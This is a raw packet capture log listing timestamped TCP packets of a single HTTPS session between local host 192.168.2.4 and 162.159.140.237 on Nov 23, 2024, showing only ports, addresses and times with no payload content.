Nov 23, 2024 00:58:03.485011101 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.490695000 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.490740061 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.490797997 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.490806103 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.490844011 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.490874052 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.495924950 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.495968103 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.496026039 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.496033907 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.496083975 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.501919985 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.501976967 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.501996994 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.502005100 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.502048016 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.502074957 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.507536888 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.507580042 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.507626057 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.507635117 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.507683039 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.513474941 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.513519049 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.513580084 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.513593912 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.513622999 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.513780117 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.521450996 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.521482944 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.521537066 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.521544933 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.521683931 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.680491924 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.680510998 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.680604935 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.680627108 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.680675030 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.686342001 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.686357975 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.686427116 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.686434031 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.686482906 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.692337036 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.692352057 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.692408085 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.692414045 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.692462921 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.693303108 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.693355083 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.699280977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.699295998 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.699368954 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.699376106 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.704829931 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.704849958 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.704905033 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.704914093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.704941034 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.710716009 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.710728884 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.710789919 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.710802078 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.716737986 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.716756105 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.716828108 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.716835022 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.716873884 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.723968029 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.723979950 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.724049091 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.724056005 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.724076986 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.777621031 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.883902073 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.883922100 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.884016991 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.884030104 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.884073019 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.889868021 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.889883041 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.889983892 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.889991999 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.890045881 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.895096064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.895108938 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.895190954 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.895198107 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.895256042 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.901122093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.901139021 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.901206970 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.901215076 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.901268005 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.906651020 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.906667948 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.906754971 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.906759977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.906815052 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.912599087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.912636995 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.912681103 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.912693977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.912727118 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.912750006 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.918503046 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.918518066 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.918597937 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.918605089 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.918657064 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.921175003 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.921276093 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.921282053 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.924045086 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.924118996 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:03.924124956 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:03.924165964 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.082350016 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.082407951 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.082442045 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.082459927 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.082473040 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.088506937 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.088521004 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.088610888 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.088625908 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.088664055 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.093770027 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.093784094 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.093863010 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.093872070 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.093914032 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.099953890 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.099967003 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.100023985 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.100030899 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.100087881 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.101274014 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.101351976 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.104042053 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.104137897 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.104145050 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.109313965 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.109328985 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.109452009 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.109458923 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.115175962 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.115189075 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.115251064 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.115258932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.121150017 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.121165037 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.121282101 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.121292114 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.122126102 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.122186899 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.122193098 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.122247934 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.125292063 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.125442028 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.285554886 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.285573959 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.285797119 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.285809994 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.285860062 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.290751934 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.290766954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.290847063 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.290853977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.290903091 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.296633959 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.296648979 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.296737909 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.296745062 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.296792984 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.302613020 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.302628040 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.302706003 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.302711964 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.302758932 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.307938099 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.307952881 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.308033943 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.308041096 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.308089972 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.314167976 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.314182043 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.314261913 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.314270020 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.314338923 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.319475889 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.319492102 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.319581985 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.319602013 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.319648981 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.323672056 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.323714972 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.323786020 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.323801041 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.323976040 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.329952955 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.330058098 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.485023022 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.485081911 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.485171080 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.485202074 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.485241890 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.490876913 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.490892887 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.491002083 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.491010904 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.493586063 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.493684053 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.493690968 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.499459982 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.499473095 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.499567986 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.499574900 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.502058983 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.502130032 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.502135038 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.507976055 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.507989883 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.508100986 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.508109093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.513652086 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.513665915 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.513756990 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.513763905 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.519541025 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.519553900 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.519658089 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.519665956 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.525532961 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.525547981 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.525643110 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.525651932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.574415922 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.686466932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.686475992 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.686517000 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.686543941 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.686554909 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.686587095 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.686609030 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.692439079 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.692454100 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.692881107 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.692888021 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.692935944 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.697683096 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.697698116 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.697767973 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.697776079 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.697807074 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.697829008 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.703648090 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.703664064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.703749895 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.703757048 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.703802109 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.709544897 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.709561110 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.709613085 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.709621906 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.709665060 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.709697008 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.715074062 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.715089083 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.715150118 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.715157032 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.715189934 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.715212107 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.721055984 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.721071005 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.721123934 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.721131086 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.721164942 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.721204996 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.726310968 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.726326942 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.726386070 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.726394892 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.726437092 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.732289076 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.732369900 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.889492035 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.889513016 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.889970064 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.889982939 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.890031099 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.894761086 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.894778013 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.894880056 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.894886017 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.894933939 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.900717020 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.900732994 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.900852919 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.900859118 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.900902987 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.906593084 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.906609058 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.906718969 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.906724930 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.906769991 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.909270048 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.909373045 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.909379005 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.913749933 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.914832115 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.914848089 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.914927006 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.914933920 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.916480064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.916543961 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.916549921 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.916589975 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.922396898 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.922411919 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.922494888 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.922501087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.922544003 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.927665949 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.927680969 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.927757978 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.927766085 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.927814960 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:04.933707952 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:04.933794022 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.094330072 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.094345093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.094470024 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.094500065 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.094551086 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.096513987 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.096529961 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:05.096606016 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:05.096613884 CET	443	49730	162.159.140.237	192.168.2.4
